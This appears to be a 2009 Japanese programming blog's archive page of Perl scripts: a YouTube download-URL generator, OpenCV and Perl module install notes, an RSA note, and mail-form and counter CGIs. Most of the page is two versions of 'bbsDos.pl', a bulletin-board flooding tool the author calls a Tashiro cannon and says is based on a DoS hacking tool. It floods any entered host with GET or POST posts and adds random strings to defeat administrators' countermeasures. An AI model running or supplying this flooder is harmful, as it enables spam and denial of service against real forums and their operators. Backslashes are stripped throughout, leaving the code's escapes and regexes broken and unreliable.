Tag Archives: PROGRAM - Page 4

YoutubeダウンロードURL生成β Perl

基礎となるプログラムです。
先日紹介したダウンロードの方法をPerlにて最小限に表現してみました。

#!/usr/bin/perl
#########################################
#ソフト名:YoutubeダウンロードURL生成β
#作成日:2009/11/5
#作者:ORBIT
#著作権:ORBIT SPACEへ帰属します。
#########################################


#LWPモジュールを使用する
use LWP;

print"YoutubetURLn>";
$Target = <stdin>;

#正規表現にてURLの情報を取得
$Target =~ /http://(.*)/watch?v=(w*)/;
my $host = $1;
my $id = $2;

#取得した情報からURLを生成
$URL = 'http://www.youtube.com/get_video_info?&video_id='."$id";

#HTMLの取得
my $soce = LWP::UserAgent->new->request(
		HTTP::Request->new(GET => "$URL"))->content;

		#TOKENの取得を行う
		$soce =~ /.*token=(.*)&thumbnail_url=.*/;
		my $t = $1;

#TOKENを出力
print"$tn";
#Downlad可能なURLを出力
print'http://youtube.com/get_video?video_id='."$id".'&t='."$tn";

OpenCVのインストール Vine Linux 5.0

どうしても顔認証がしたいのでライブラリーを追加しました。
apt-getじゃまだインストールできないんですね・・・・・・・・
と言うことでソースからビルトしてインストールします。

# apt-get install gtk2-devel libjpeg-devel libpng-devel zlib-devel libtiff-devel

# wget http://nchc.dl.sourceforge.net/sourceforge/opencvlibrary/opencv-1.0.0.tar.gz
# tar xvzf opencv-1.0.0.tar.gz
# cd opencv-1.0.0
# ./configure –prefix=/usr
下記のようになりました。
General configuration ================================================
Compiler: g++
CXXFLAGS: -Wall -fno-rtti -pipe -O3 -g -march=i686 -ffast-math -fomit-frame-pointer

Install path: /usr

HighGUI configuration ================================================

Windowing system ————–
Use Carbon / Mac OS X: no
Use gtk+ 2.x: yes
Use gthread: yes

Image I/O ———————
Use libjpeg: yes
Use zlib: yes
Use libpng: yes
Use libtiff: yes
Use libjasper: no
Use libIlmImf: no

Video I/O ———————
Use QuickTime / Mac OS X: no
Use xine: no
Use ffmpeg: no
Use dc1394 & raw1394: no
Use v4l: yes
Use v4l2: yes

Wrappers for other languages =========================================
SWIG
Python no

Additional build settings ============================================
Build demo apps yes

Now run make …

あとは普通に・・・・・・・・
# make
# make install

これでインストール完了

Image::ObjectDetectのインストール

# wget http://search.cpan.org/CPAN/authors/id/J/JI/JIRO/Image-ObjectDetect-0.11.tar.gz
# tar xvzf Image-ObjectDetect-0.11.tar.gz
# cd Image-ObjectDetect-0.11
# perl MakeFile.PL
# make
# make install

[注意事項]
※はまりました^^;
パスが違いますシンボリックでも張っておいた方がいいのかな?
インストールしたはずなのに使えねえ・・・・なんてことが。

VineLinuxではこれが
/usr/local/share/opencv/haarcascades/haarcascade_frontalface_alt2.xml
こんな感じになります。
/usr/share/opencv/haarcascades/haarcascade_frontalface_alt2.xml

Imagerのインストール Vine Linux 5.0 Perl

更新
# apt-get update
# apt-get upgrade
ライブラリーをインストール
# apt-get install libpng-devel libjpeg-devel giflib-devel
※これらのライブラリがないと上手く動かない。

# cpan
> install Imager
でインストールする。

もしも、インストールした後にライブラリ入れてエラーが出て認識されない場合。
# cpan
> force install Imager
でインストールする。

Perl モジュール Image::Magick VineLinux 5.0

新しいプログラムを考える上でどうしても必要になったのでインストール方法を探して
いましたが見つからなくて困っていました^^;

おそらくインストールできたので一応紹介しておきます。
※この方法はVineLinux(5.0)用です。
まず、普通に
# cpan
cpan[1]> install Image::Magick
とするとエラーでインストールできません。

下記のコマンドを実行します。
# apt-cache search ImageMagick | grep perl

おそらくImageMagick-perlが必要と言われるので
# apt-get install ImageMagick-perl
でインストールします。

再度下記を実行すると旨くインストールできます。
# cpan
cpan[1]> install Image::Magick

インストールできたか確認方法
# perl -MImage::Magick -e ”
と実行し何も出なかったらインストールに成功しています。

[おまけ]
もしもCan’t locate …………………..と出たらインストールされていません。

RSA暗号化について

暗号化の方法がとても気になったので調べてみました。
※特に可逆暗号化と公開鍵暗号についてです。

RSAの式(暗号化)
C = M^e (mod n)

調べてみたら呆気にとられるくらい簡単で単純です。

^(キャロット)は累乗という意味です。
modは除算した時に発生する余りを意味します。
Cが暗号化された文章を意味します。
Mは平文を意味します。
要するにCは平文Mをe乗してnで割った余りであると言うことになります。

今日は徹夜明けなので頭がボーっとしてまともに物事を考えられないので近いうちに
暗号化と複合化するプログラムを書いて見ます。

参考元:はやわかり RSA
参考元:ASCIIコードと文字の相互変換

ROS MailForm

#!/usr/bin/perl
####################################################
#ソフト名:ROS MailForm
#作者:ORBIT
#著作権:
#ORBIT SPACEに帰属します。
#改造/変更/再配布に関して一切の制限はいたしません。
#自由にお使いください。
####################################################

#-------------------各種設定------------------------
#送信先メールアドレス
$mailto = 'orbit@hogehoge.co.jp';
#サブジェクト(英語)
$subject = "OP MailFrom";
#sendmailまでのパス
$sendmail = '/usr/lib/sendmail';
#---------------------------------------------------

#モジュール使用宣言
use Jcode;


$url = $ENV{"HTTP_REFERER"};
read(STDIN, $buf, $ENV{'CONTENT_LENGTH'});
my @buf = split(/&/, $buf);
foreach (@buf) {
	my ($key, $val) = split(/=/);
	$key =~ tr/+/ /;
	$key =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("H2", $1)/eg;
	$val =~ tr/+/ /;
	$val =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("H2", $1)/eg;
        Jcode::convert($key, "jis");
        Jcode::convert($val, "jis");
	push(@key,$key);
	push(@val,$val);
        $in{$key} = $val;
}

foreach my $i (0 .. $#key) {
     if ($key[$i] eq "mode") { next; }
     if ($val[$i] eq "") {&end;}
     $mailbody .= "$key[$i]:"."n$val[$i]n";
}

Jcode::convert($mailbody,"jis");
open(MAIL,"| $sendmail -t -i");
print MAIL "To: $mailton";
print MAIL "From: $mailton";
print MAIL "Subject: $subjectn";
print MAIL "MIME-Version: 1.0n";
print MAIL "Content-type: text/plain; charset=ISO-2022-JPn";
print MAIL "Content-Transfer-Encoding: 7bitnn";
print MAIL "$mailbodyn";
close(MAIL);
&end;

sub end{
print "Content-type: text/htmln";
print "Location: $urlnn";
exit;
}

ROS カウンター

#!/usr/bin/perl
#######################################################
#スクリプト名:ROS カウンター
#作者:ORBIT
#著作権:ORBIT SPACEに帰属します。
#著作権表示は一切行いません。自由にお使いください。
#######################################################

#各種設定
#------------------------------------------------------
#イメージの保存ディレクトリ
$imgs = './img/';
#ログの保存場所
$ip_log = 'ip.log';
$counts_log = 'counts.log';
#------------------------------------------------------

#IPを取得
$ip = $ENV{'REMOTE_ADDR'};

#GETのデータから位を取得
$buf = $ENV{'QUERY_STRING'};
--$buf;

#過去ログの取得
open (OUT,"$counts_log");
$counts_data = <out>;
close(OUT);

open (IP_OUT,"$ip_log");
@ip_data = <ip_OUT>;
close(IP_OUT);
chomp($ip_data[0]);
if($ip eq $ip_data[0]){&img;}
$ip_data[0] = "$ip_data[0]n";

#インクリメントして保存
open (IN,">$counts_log");
if($counts_data eq ""){$counts_data = "00000"};
++$counts_data;
print IN $counts_data;
close(IN);

#IPを記録
open (IP_IN,">$ip_log");
unshift @ip_data, "$ipn";
print IP_IN @ip_data;
close(IP_IN);

&img;

# 画像表示
sub img{
#過去ログを取得し逆順に並べ替える
@list = split(//,$counts_data);
@img_list = reverse (@list);
$nu = $img_list[$buf];

open(IG,"$imgs$nu.gif");
print "Content-type: image/gifnn";
binmode(IG);
binmode(STDOUT);
print <ig>;
close(IG);
exit;
}

掲示板耐久性テスト プログラム Ver.2.0

 今朝投稿した掲示板耐久性テスト プログラムをもう一度改良しました。改良点はGETでデータを送信していたのをPOSTでも送信可能にしました。もう少し短くできそうなものなんですがね。。。。。。

[flashvideo filename=https://www.orsx.net/wp-content/uploads/2009/08/bbsDos.flv /]

#!/usr/bin/perl
#################################################
#ソフト名:掲示板耐久性テストプログラム
#バージョン:Ver.2.0
#ファイル名:bbsDos.pl
#作者:ORBIT
#作者HP:https://www.orsx.net/
#※悪戯の目的で使用しないでください。
#################################################

#IO::Socketモジュールを使用する
use IO::Socket;
#Socketモジュールを使用する
use Socket;

#アクセス先ホストの指定
while($host eq ""){
print "X"x"50"."n";
print "URL(ホスト名)を入力してくださいn";
print "> http://";
$host = <stdin>;
chomp $host;
if($host eq "quit"){exit;}
}

#ポートを指定するかユーザーへ質問する
print "X"x"50"."n";
print "ポート番号を指定しますか?[y/n]";
$q_port = <stdin>;
print "指定しない場合は80番ポートへアクセスしますn";
chomp $q_port;

#yが入力されたらポート番号が入力されるまで待機
if ($q_port eq "y"){
print "X"x"50"."n";
print "ポートを指定しますn";
print "> ";
$port = <stdin>;
chomp $port;
}else{
$port = "80";
}

#乱数を追記させるかを確認
print "X"x"50"."n";
print "送信するデータに乱数を追加しますか?[y/n]";
$r = <stdin>;
chomp $r;

#乱数を追記させるかを確認
if($r eq "y"){
print "X"x"50"."n";
print "乱数の文字数を指定してくださいn";
print "> ";
$rr = <stdin>;
chomp $rr;
$rr = "1" if($rr eq "");
}

#送信方法を確認
print "X"x"50"."n";
print "(GET/POST)どちらを利用しますか?[g/p]";
$net = <stdin>;
chomp $net;
if($net eq "p"){&post_set;}
if($net eq "g"){&get_set;}

#送信回数
print "X"x"50"."n";
print "ループさせる回数を指定してくださいn";
print "> ";
$loop = <stdin>;
chomp $loop;
if($loop eq "" || $loop eq "1"){
$loop = "2";
$ex = "1";
}
if($loop == "0"){
print "Error:0回のループは指定出来ません!n";
exit;
}
$loop-="1";

#スリープの設定
print "X"x"50"."n";
print "指定秒ウェイトを設定する場合は入力してくださいn";
print "> ";
$slp = <stdin>;
chomp $slp;

#指定させた数字になるまでループ
while($ex <= $loop){
#送信数のインクリメント
print "X"x"50"."n";
$exd = $exd+"1";
print "$exd回目n";

#割合
if($loop ne ""){
$sa = int(($ex/$loop)*"100");
print "進行状況:&#91;$sa%/100%&#93;を完了しましたn";
$ex +="1";
}

#送信サブルーチン呼び出し
if($net eq "p"){&post;}
if($net eq "g"){&get;}

#スリープ
print "$slp秒スリープしますn" if($slp ne "");
sleep $slp;
}

print "終了しましたn";

#------------------------------------------------
#サブルーチン
#------------------------------------------------

#----------------------------
#GET
#----------------------------
sub get_set{
#ファイルの場所の指定
print "X"x"50"."n";
print "URL(ファイルの場所と送信データ)を入力してくださいn";
print "乱数を追加しますのでコメントのname=で終了してくださいn" if($r eq "y");
print "> http://$host/";
$bbs = <stdin>;
chomp $bbs;
$bbs = "/".$bbs;
}

sub get{
#乱数格納
$bbs2=$bbs;
if ($r eq "y"){
my @alph = ("a".."z");
my $result = "";
foreach ("1".."$rr") {$result .= $alph[rand(@alph)];}
$bbs2.=$result;
}
#送信情報の出力
print "ホストへ以下の情報を送信中ですn";
print "$bbs2n";
#ホストへ接続を試みる
$socket = new IO::Socket::INET (
                                 PeerAddr => "$host",
                                 PeerPort => "$port",
                                 Proto => "tcp",
                                );
#送信
print $socket "GET $bbs2 HTTP/1.0nn";
close($socket);
}

#-----------------------------
#POST
#-----------------------------
sub post_set{
#ファイルまでのパスを指定
print "X"x"50"."n";
print "ファイルまでのパスを指定してくださいn";
print "> http://$host/";
$path = <stdin>;
chomp $path;

#送信データの確認
print "X"x"50"."n";
print "送信するデータを入力してくださいn";
print "乱数を追加しますのでコメントのname=で終了してくださいn" if($r eq "y");
print "> ";
$data = <stdin>;
}

sub post{
$data2=$data;
if ($r eq "y"){
my @alph = ("a".."z");
my $result = "";
foreach ("1".."$rr") {$result .= $alph[rand(@alph)];}
$data2.=$result;
}

#送信情報の出力
print "ホストへ以下の情報を送信中ですn";
print "$data2n";

#ホストへ接続を試みる
socket(SOCKET, PF_INET, SOCK_STREAM, 0);
connect(SOCKET, pack_sockaddr_in($port, inet_aton($host)));
select(SOCKET); $|=1; select(STDOUT);

#送信
print SOCKET "POST /$path HTTP/1.0rn";
print SOCKET "Content-Length: ".length($data2)."rn";
print SOCKET "rn";
print SOCKET $data2;
}

掲示板耐久性テスト プログラム

 現在掲示板を作成中ですが、またしても脆弱性を発見しましたので、今回は開き直ってある程度性能のある掲示板連続投票ソフトを作成しました。一般的に言われる田代砲です。
 通常はJava scriptで書かれていますが、勉強と関数の復習を兼ねてPerlを利用して作りました。
 以前紹介したDoS.Perl.BBDoS.aを参考に作るならもっとセンスのある洒落たツールをと言う事で、乱数を追加して送信できる機能を取り付けました。田代砲とするなら乱田代砲と名づけましょうか^^;

 私の知識不足でProxyリストを使い投稿ごとにアクセス元を変更する機能こそ付いていませんが、投稿内容が毎回変わるので掲示板管理者や作成者はとても対策に困る訳です。
※ (もちろん、一定時間ごとに投票させるスリープ機能は付けてあります。)
つまり、このツールを防げたらたいていの連続投票を防げるわけです。

※ このプログラムは悪戯目的に使用しないでください。
元はDos攻撃用ハッキングツールを参考にしていますので非常に危険です。

#!/usr/bin/perl
#################################################
#ソフト名:掲示板耐久性テストプログラム
#バージョン:Ver.1.0
#ファイル名:bbsDos.pl
#作者:ORBIT
#作者HP:https://www.orsx.net/
#※悪戯の目的で使用しないでください。
#################################################

#IO::Socketモジュールを使用する
use IO::Socket;

#アクセス先ホストの指定
while($host eq ""){
print "X"x"50"."n";
print "URL(ホスト名)を入力してくださいn";
print "> http://";
$host = <stdin>;
chomp $host;
if($host eq "quit"){exit;}
}

#ポートを指定するかユーザーへ質問する
print "X"x"50"."n";
print "ポート番号を指定しますか?[y/n]";
$q_port = <stdin>;
print "指定しない場合は80番ポートへアクセスしますn";
chomp $q_port;

#yが入力されたらポート番号が入力されるまで待機
if ($q_port eq "y"){
print "X"x"50"."n";
print "ポートを指定しますn";
print "> ";
$port = <stdin>;
chomp $port;
}else{
$port = "80";
}

#乱数を追記させるかを確認
print "X"x"50"."n";
print "送信するデータに乱数を追加しますか?[y/n]";
$r = <stdin>;
chomp $r;

#ファイルの場所の指定
print "X"x"50"."n";
print "URL(ファイルの場所と送信データ)を入力してくださいn";
print "乱数を追加しますのでコメントのname=で終了してくださいn" if($r eq "y");
print "> http://$host/";
$bbs = <stdin>;
chomp $bbs;
$bbs = "/".$bbs;

#送信回数
print "X"x"50"."n";
print "ループさせる回数を指定してくださいn";
print "> ";
$loop = <stdin>;
chomp $loop;
if($loop eq "" || $loop eq "1"){
$loop = "2";
$ex = "1";
}
if($loop == "0"){
print "Error:0回のループは指定出来ません!n";
exit;
}
$loop-="1";

#スリープの設定
print "X"x"50"."n";
print "指定秒ウェイトを設定する場合は入力してくださいn";
print "> ";
$slp = <stdin>;
chomp $slp;

#指定させた数字になるまでループ
while($ex <= $loop){
print "X"x"50"."n";
$bbs2=$bbs;
#乱数格納
if ($r eq "y"){
$rr = rand("1000");
$bbs2.=$rr;
}

#送信数のインクリメント
$exd = $exd+"1";
print "$exd回目n";

#割合
if($loop ne ""){
$sa = int(($ex/$loop)*"100");
print "進行状況:&#91;$sa%/100%&#93;を完了しましたn";
$ex +="1";
}

#送信情報の出力
print "ホストへ以下の情報を送信中ですn";
print "$bbs2n";
#ホストへ接続を試みる
$socket = new IO::Socket::INET (
                                 PeerAddr => "$host",
                                 PeerPort => "$port",
                                 Proto => "tcp",
                                );
die "Error:ホストに接続できませんでした!n" unless $socket;
#送信
print $socket "GET $bbs2 HTTP/1.0nn";
close($socket);

#スリープ
print "$slp秒スリープしますn" if($slp ne "");
sleep $slp;
}

print "終了しましたn"